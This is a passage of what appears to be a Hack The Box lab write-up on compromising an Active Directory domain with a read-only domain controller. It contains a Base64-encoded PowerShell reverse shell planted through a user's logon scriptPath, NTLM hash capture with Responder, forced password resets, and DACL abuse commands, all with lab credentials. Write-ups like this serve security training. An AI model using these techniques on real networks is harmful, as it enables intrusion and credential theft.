recordName: _gc._tcp.garfield.htb
SRV: dc01.garfield.htb:3268

recordName: _gc._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:3268; dc01.garfield.htb:3268

recordName: _kerberos._tcp.garfield.htb
SRV: dc01.garfield.htb:88

recordName: _kerberos._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:88; dc01.garfield.htb:88

recordName: _kerberos._udp.garfield.htb
SRV: dc01.garfield.htb:88

recordName: _kpasswd._tcp.garfield.htb
SRV: dc01.garfield.htb:464

recordName: _kpasswd._udp.garfield.htb
SRV: dc01.garfield.htb:464

recordName: _ldap._tcp.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.DomainDnsZones.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.ForestDnsZones.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _msdcs.garfield.htb
NS: dc01.garfield.htb

recordName: dc01.garfield.htb
AAAA: dead:beef::6abd:8baa:aa7a:c019; dead:beef::1f6
A: 10.129.244.207

recordName: DomainDnsZones.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207

recordName: ForestDnsZones.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207

recordName: RODC01.garfield.htb
A: 192.168.100.2

SOA.PrimaryServer: dc01.garfield.htb
SOA.zoneAdminEmail: hostmaster@garfield.htb
recordName: _msdcs.garfield.htb

recordName: _kerberos._tcp.dc._msdcs.garfield.htb
SRV: dc01.garfield.htb:88

recordName: _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:88; dc01.garfield.htb:88

recordName: _ldap._tcp.bcc7093d-cd1a-42dc-a248-8401d5782b41.domains._msdcs.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.dc._msdcs.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:3268; dc01.garfield.htb:3268

recordName: _ldap._tcp.gc._msdcs.garfield.htb
SRV: dc01.garfield.htb:3268

recordName: _ldap._tcp.pdc._msdcs.garfield.htb
SRV: dc01.garfield.htb:389

recordName: 16e271d2-270f-4a57-b7f1-74497d050024._msdcs.garfield.htb
CNAME: dc01.garfield.htb

recordName: gc._msdcs.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207

recordName: 0cffd740-bba9-471b-aec4-1c9d0ddd7101._msdcs.garfield.htb
CNAME: RODC01.garfield.htb

Of interest here is the internal IP range 192.168.100.0/24, which has DC01 at 192.168.100.1 and RODC01 at 192.168.100.2.

Shell as l.wilson on DC01

Shell

With write permissions over multiple accounts’ scriptPath attribute, I’ll try updating them and seeing if they login.

I’ll save a PowerShell #5 (stderr support)(Base64) reverse shell from revshells.com to a file named rev.bat:

powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMQA2ADkAIgAsADQANAAzACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA

I’ll upload it to the share in the scripts directory:

smb: \garfield.htb\scripts\> put rev.bat
putting file rev.bat as \garfield.htb\scripts\rev.bat (18.9 kb/s) (average 189.6 kb/s)

\\DC01.garfield.htb\SYSVOL\garfield.htb\scripts is the base directory for the scriptPath field. I’ll use bloodyAD to write the scriptPath for both users to the reverse shell:

oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v rev.bat
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb" scriptPath -v rev.bat
[+] CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb's scriptPath has been updated

Shortly after, I get a connection on nc as l.wilson:

oxdf@hacky$ sudo rlwrap -cAr nc -vnlp 443
Listening on 0.0.0.0 443
Connection received on 10.129.244.207 61678

PS C:\Windows\system32> whoami
garfield\l.wilson

Only l.wilson connects back. The l.wilson_adm script never runs, so that account doesn’t seem to be logging in.

Password Recovery [Fail]

Rather than going for a shell, I could also capture an authentication attempt and try to break the user’s password. I’ll make a new script designed to get the user to authenticate to my SMB server:

dir \\10.10.15.169\fakeShare\0xdf.txt

Now I’ll upload that:

smb: \garfield.htb\scripts\> put responder.bat 
putting file responder.bat as \garfield.htb\scripts\responder.bat (0.6 kb/s) (average 0.6 kb/s)

And set both script paths:

oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v responder.bat 
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb" scriptPath -v responder.bat 
[+] CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb's scriptPath has been updated

I’ll start Responder and wait. After a minute there’s a connection:

oxdf@hacky$ sudo uv run Responder.py -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0
...[snip]...

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.244.207
[SMB] NTLMv2-SSP Username : GARFIELD\l.wilson
[SMB] NTLMv2-SSP Hash     : l.wilson::GARFIELD:1122334455667788:20FD6B89DEDC474AB4004F6039029AE9:010100000000000080412AC0E66ADD015FA97A8BCFC747A30000000002000800450059004B00390001001E00570049004E002D0049005400340054004E003100480051005A004500480004003400570049004E002D0049005400340054004E003100480051005A00450048002E00450059004B0039002E004C004F00430041004C0003001400450059004B0039002E004C004F00430041004C0005001400450059004B0039002E004C004F00430041004C000700080080412AC0E66ADD0106000400020000000800300030000000000000000000000000210000B0393A0EEB40C108FC99D2298E3A853E8CD7DEA0C08FDBDCD441D526823E822D0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100360039000000000000000000

I’ll pass that Net-NTLMv2 to hashcat and it exhausts rockyou.txt in 11 seconds on my host without recovering the password:

$ hashcat l.wilson.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
Approaching final keyspace - workload adjusted.           
...[snip]...
Started: Sun Nov  1 11:33:37 2026
Stopped: Sun Nov  1 11:33:48 2026

On HTB machines, if it isn’t in rockyou.txt and there’s no hints otherwise, it’s not meant to be cracked.

Shell as l.wilson_adm on DC01

Enumeration

Host

The users on the box are all ones I’ve already learned about:

PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/27/2026   1:43 PM                Administrator
d-----        9/12/2025  12:43 PM                l.wilson
d-----        9/12/2025   3:29 PM                l.wilson_adm
d-r---        8/13/2025   3:54 AM                Public  

l.wilson doesn’t have anything else interesting in their home directory.

Nothing interesting at the C: root:

PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/13/2026   7:08 AM                inetpub
d-----        11/5/2022  12:03 PM                PerfLogs
d-r---        8/13/2025   4:00 AM                Program Files
d-----        8/17/2025   7:05 AM                Program Files (x86)
d-r---        1/27/2026   4:40 PM                Users
d-----         4/1/2026  11:27 AM                Windows  

inetpub is empty. Programs installed look standard.

Network

This host has two NICs, with a second IP on the 192.168.100.0/24 network identified earlier:

PS C:\> ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::c4ff:5747:1d3c:fba0%9
   IPv4 Address. . . . . . . . . . . : 192.168.100.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter Ethernet0 3:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::1f6
   IPv6 Address. . . . . . . . . . . : dead:beef::6abd:8baa:aa7a:c019
   Link-local IPv6 Address . . . . . : fe80::6d25:487f:d2bb:fd30%7
   IPv4 Address. . . . . . . . . . . : 10.129.244.207
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb0:4ef9%7
                                       10.129.0.1

It has 10.129.244.207 (my assigned target IP), and 192.168.100.1. I noted above that RODC01 is on 192.168.100.2. I’m able to ping that host:

PS C:\> ping 192.168.100.2

Pinging 192.168.100.2 with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.100.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

BloodHound

l.wilson has ForceChangePassword over l.wilson_adm:

BloodHound graph showing l.wilson has ForceChangePassword over l.wilson_adm

That means I can reset l.wilson_adm’s password. They’re a member of Tier 1, Remote Management Users (allowing WinRM), and Remote Desktop Users (allowing RDP):

BloodHound graph showing l.wilson_adm is a member of Tier 1, Remote Management Users, Remote Desktop Users, and Domain Users

Password Change

From my shell, I’ll create a new password, and set it as l.wilson_adm’s password:

PS C:\> $pass = ConvertTo-SecureString '0xdf0xdf.' -AsPlainText -Force
PS C:\> Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $pass -Reset

netexec shows it works:

oxdf@hacky$ netexec smb DC01.garfield.htb -u l.wilson_adm -p 0xdf0xdf.
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\l.wilson_adm:0xdf0xdf.

I can get a shell using evil-winrm-py:

oxdf@hacky$ evil-winrm-py -i DC01.garfield.htb -u l.wilson_adm -p 0xdf0xdf.
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'DC01.garfield.htb:5985' as 'l.wilson_adm'
evil-winrm-py PS C:\Users\l.wilson_adm\Documents>

And get the user flag:

evil-winrm-py PS C:\Users\l.wilson_adm\Desktop> cat user.txt
89c544fd************************

I can also RDP with:

xfreerdp /v:DC01.garfield.htb /u:l.wilson_adm /p:'0xdf0xdf.' /d:garfield.htb /cert:ignore /dynamic-resolution

It works:

FreeRDP session showing the DC01 desktop as l.wilson_adm, with user.txt on the desktop

Admin Shell on RODC01

Enumeration

BloodHound

Other than user.txt, there’s nothing new on the DC01 filesystem that l.wilson_adm can access that is interesting.

Back in BloodHound, l.wilson_adm has three interesting links that show up on outbound control:

BloodHound graph showing l.wilson_adm has WriteAccountRestrictions on RODC01 and is in Tier 1, which has AddSelf on RODC Administrators

For some reason the labels on the two links to RODC01 overlap, but they are WriteAccountRestrictions and ForceChangePassword. Additionally, as a member of Tier 1, they can add themselves to RODC Administrators.

WriteAccountRestrictions is the ability to configure resource-based constrained delegation (RBCD). I’ll skip ForceChangePassword on RODC01$, as resetting a domain controller’s machine account password breaks its secure channel with DC01.

RODC Administrators

My first thought is that RODC Administrators is the “delegated administrator” group, an RODC-specific feature. When an RODC is promoted, you can designate a “delegated administrator” group that becomes a local administrator on that RODC only, without being a Domain Admin or having any power on DC01. The idea is to let branch-office staff manage the RODC box without trusting them with the domain.

However, that’s not what this group is. I can enumerate it using any set of valid domain creds. I’ll use this PowerShell Claude made for me in the RDP session:

PS C:\> $grp = "GARFIELD\RODC Administrators"
PS C:\> $rootdse = Get-ADRootDSE
PS C:\> $map = @{ "00000000-0000-0000-0000-000000000000" = "(All properties)" }
PS C:\> Get-ADObject -SearchBase $rootdse.schemaNamingContext -LDAPFilter "(schemaIDGUID=*)" -Properties lDAPDisplayName,schemaIDGUID |
>>   ForEach-Object { $map["$([guid]$_.schemaIDGUID)"] = $_.lDAPDisplayName }
PS C:\> Get-ADObject -SearchBase ("CN=Extended-Rights,"+$rootdse.configurationNamingContext) -LDAPFilter "(objectClass=controlAccessRight)" -Properties displayName,rightsGuid |
>>   ForEach-Object { $map["$([guid]$_.rightsGuid)"] = $_.displayName }
PS C:\> Get-ADObject -LDAPFilter "(objectClass=*)" -Properties nTSecurityDescriptor |
>>   Where-Object { $_.nTSecurityDescriptor } |
>>   ForEach-Object {
>>     $o = ($_.DistinguishedName -split ',')[0]
>>     $_.nTSecurityDescriptor.Access |
>>       Where-Object { $_.IdentityReference -eq $grp -and $_.AccessControlType -eq "Allow" } |
>>       ForEach-Object {
>>         $g = "$($_.ObjectType)"
>>         $name = if ($map.ContainsKey($g)) { $map[$g] } else { $g }
>>         [pscustomobject]@{ Object=$o; Rights=$_.ActiveDirectoryRights; Attr=$name }
>>       }
>>   } | Format-Table -AutoSize

Object                                          Rights Attr
------                                          ------ ----
CN=RODC01                   ListChildren, ReadProperty (All properties)
CN=RODC01                  ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=RODC01                  ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=RODC01                  ReadProperty, WriteProperty managedBy
CN=Windows Virtual Machine ReadProperty, WriteProperty managedBy
CN=Windows Virtual Machine ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=Windows Virtual Machine ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=Windows Virtual Machine  ListChildren, ReadProperty (All properties)
CN=DFSR-LocalSettings      ReadProperty, WriteProperty managedBy
CN=DFSR-LocalSettings      ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=DFSR-LocalSettings      ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=DFSR-LocalSettings       ListChildren, ReadProperty (All properties)
CN=Domain System Volume    ReadProperty, WriteProperty managedBy
CN=Domain System Volume    ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=Domain System Volume    ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=Domain System Volume     ListChildren, ReadProperty (All properties)
CN=SYSVOL Subscription     ReadProperty, WriteProperty managedBy
CN=SYSVOL Subscription     ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=SYSVOL Subscription     ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=SYSVOL Subscription      ListChildren, ReadProperty (All properties)

The output looks like a lot of rows, but there are really only two things going on. The group has four ACEs on the RODC01 computer object, and those ACEs are marked CONTAINER_INHERIT_ACE, so they also show up inherited on each of RODC01’s child objects (Windows Virtual Machine, DFSR-LocalSettings, Domain System Volume, and SYSVOL Subscription). The inherited copies are noise: those child objects don’t have msDS-RevealOnDemandGroup / msDS-NeverRevealGroup attributes, so being able to “write” them there means nothing.

The interesting bits are the set of ACEs on RODC01 itself:

Object Rights Attribute
RODC01 ReadProperty (All properties)
RODC01 ReadProperty, WriteProperty msDS-RevealOnDemandGroup
RODC01 ReadProperty, WriteProperty msDS-NeverRevealGroup
RODC01 ReadProperty, WriteProperty managedBy

powerview.py will show the same thing:

oxdf@hacky$ powerview garfield.htb/l.wilson_adm:0xdf0xdf.@DC01.garfield.htb
Logging directory is set to /home/oxdf/.powerview/logs/garfield      
╭─LDAP─[DC01.garfield.htb]─[GARFIELD\l.wilson_adm]-[NS:<auto>]
╰─ ❯ Get-DomainObjectAcl -SecurityIdentifier "RODC Administrators" -ResolveGUIDs -TableView -Select ObjectDN,AccessMask,ObjectAceType
[2026-11-07 11:11:26] [Get-DomainObjectAcl] Recursing all domain objects. This might take a while

ObjectDN                                                                                                                 AccessMask                       ObjectAceType
-----------------------------------------------------------------------------------------------------------------------  -------------------------------  ---------------------------
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb  ReadProperty, WriteProperty      Managed-By
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb  ReadProperty, WriteProperty      ms-DS-Reveal-OnDemand-Group
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb  ReadProperty, WriteProperty      ms-DS-Never-Reveal-Group
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb  ReadProperties,ListChildObjects  None
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                         ReadProperty, WriteProperty      Managed-By
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                         ReadProperty, WriteProperty      ms-DS-Reveal-OnDemand-Group
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                         ReadProperty, WriteProperty      ms-DS-Never-Reveal-Group
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                         ReadProperties,ListChildObjects  None
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                 ReadProperty, WriteProperty      Managed-By
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                 ReadProperty, WriteProperty      ms-DS-Reveal-OnDemand-Group
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                 ReadProperty, WriteProperty      ms-DS-Never-Reveal-Group
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                 ReadProperties,ListChildObjects  None
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                            ReadProperty, WriteProperty      Managed-By
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                            ReadProperty, WriteProperty      ms-DS-Reveal-OnDemand-Group
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                            ReadProperty, WriteProperty      ms-DS-Never-Reveal-Group
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                            ReadProperties,ListChildObjects  None
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                                       ReadProperty, WriteProperty      Managed-By
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                                       ReadProperty, WriteProperty      ms-DS-Reveal-OnDemand-Group
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                                       ReadProperty, WriteProperty      ms-DS-Never-Reveal-Group
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb                                                                       ReadProperties,ListChildObjects  Non

Other tools can show what access RODC Administrators have over a specific target like RODC01$, but I have to specify the target, making it less useful. For example, netexec:

oxdf@hacky$ netexec ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='RODC01$' PRINCIPAL='RODC Administrators'
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
DACLREAD    10.129.244.207  389    DC01             Be careful, this module cannot read the DACLS recursively.
DACLREAD    10.129.244.207  389    DC01             Found principal SID to filter on: S-1-5-21-2502726253-3859040611-225969357-2101
DACLREAD    10.129.244.207  389    DC01             Target principal found in LDAP (CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb)
DACLREAD    10.129.244.207  389    DC01             ACE[4] info
DACLREAD    10.129.244.207  389    DC01                 ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    10.129.244.207  389    DC01                 ACE flags                 : CONTAINER_INHERIT_ACE
DACLREAD    10.129.244.207  389    DC01                 Access mask               : ReadProperty, WriteProperty
DACLREAD    10.129.244.207  389    DC01                 Flags                     : ACE_OBJECT_TYPE_PRESENT
DACLREAD    10.129.244.207  389    DC01                 Object type (GUID)        : Managed-By (0296c120-40da-11d1-a9c0-0000f80367c1)
DACLREAD    10.129.244.207  389    DC01                 Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
DACLREAD    10.129.244.207  389    DC01             ACE[5] info
DACLREAD    10.129.244.207  389    DC01                 ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    10.129.244.207  389    DC01                 ACE flags                 : CONTAINER_INHERIT_ACE
DACLREAD    10.129.244.207  389    DC01                 Access mask               : ReadProperty, WriteProperty
DACLREAD    10.129.244.207  389    DC01                 Flags                     : ACE_OBJECT_TYPE_PRESENT
DACLREAD    10.129.244.207  389    DC01                 Object type (GUID)        : ms-DS-Reveal-OnDemand-Group (303d9f4a-1dd6-4b38-8fc5-33afe8c988ad)
DACLREAD    10.129.244.207  389    DC01                 Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
DACLREAD    10.129.244.207  389    DC01             ACE[6] info
DACLREAD    10.129.244.207  389    DC01                 ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    10.129.244.207  389    DC01                 ACE flags                 : CONTAINER_INHERIT_ACE
DACLREAD    10.129.244.207  389    DC01                 Access mask               : ReadProperty, WriteProperty
DACLREAD    10.129.244.207  389    DC01                 Flags                     : ACE_OBJECT_TYPE_PRESENT
DACLREAD    10.129.244.207  389    DC01                 Object type (GUID)        : ms-DS-Never-Reveal-Group (15585999-fd49-4d66-b25d-eeb96aba8174)
DACLREAD    10.129.244.207  389    DC01                 Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
DACLREAD    10.129.244.207  389    DC01             ACE[20] info
DACLREAD    10.129.244.207  389    DC01                 Access mask               : ReadProperties, ListChildObjects (0x14)
DACLREAD    10.129.244.207  389    DC01                 Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)

Or Impacket’s dacledit.py:

oxdf@hacky$ dacledit.py -action read -principal "RODC Administrators" -target 'RODC01$' -dc-ip 10.129.244.207 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2502726253-3859040611-225969357-2101)
[*]   ACE[4] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : ReadProperty, WriteProperty (0x30)
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : Managed-By (0296c120-40da-11d1-a9c0-0000f80367c1)
[*]     Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
[*]   ACE[5] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : ReadProperty, WriteProperty (0x30)
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : ms-DS-Reveal-OnDemand-Group (303d9f4a-1dd6-4b38-8fc5-33afe8c988ad)
[*]     Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
[*]   ACE[6] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : ReadProperty, WriteProperty (0x30)
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : ms-DS-Never-Reveal-Group (15585999-fd49-4d66-b25d-eeb96aba8174)
[*]     Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
[*]   ACE[20] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : ReadProperties, ListChildObjects (0x14)
[*]     Trustee (SID)             : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)

Membership in RODC Administrators is really a delegation of control over RODC01. A member can rewrite the allow list (msDS-RevealOnDemandGroup) and the deny list (msDS-NeverRevealGroup), and can set managedBy, which names RODC01’s delegated administrator. It grants no rights anywhere else in the domain. Being able to rewrite which accounts the RODC is allowed to cache is the primitive that leads to Administrator.

Paths

There are a couple ways to get a shell with administrative privileges on RODC01:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as l.wilson_adm\non DC01]-->B(<a href='#set-managedby'>Configure managedBy</a>);
    B-->C[Shell as l.wilson_adm\nwith admin privs\non RODC01];
    A-->D(<a href='#rbcd'>RBCD</a>);
    D-->E[Shell as Administrator\non RODC01];

linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,2,3 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

Shell as l.wilson_adm with Administrator privs on RODC01

Strategy

Adding l.wilson_adm to the RODC Administrators group gives them WriteProperty on the managedBy attribute. I’ll use that to set themselves as managedBy on RODC01$, which is effectively administrator on that box. I’ll start with bloodyAD and then switch to my RDP session and get a nested RDP session.

Set managedBy

I’ll use bloodyAD to add l.wilson_adm to the RODC Administrators group:

oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 0xdf0xdf. add groupMember "RODC Administrators" l.wilson_adm
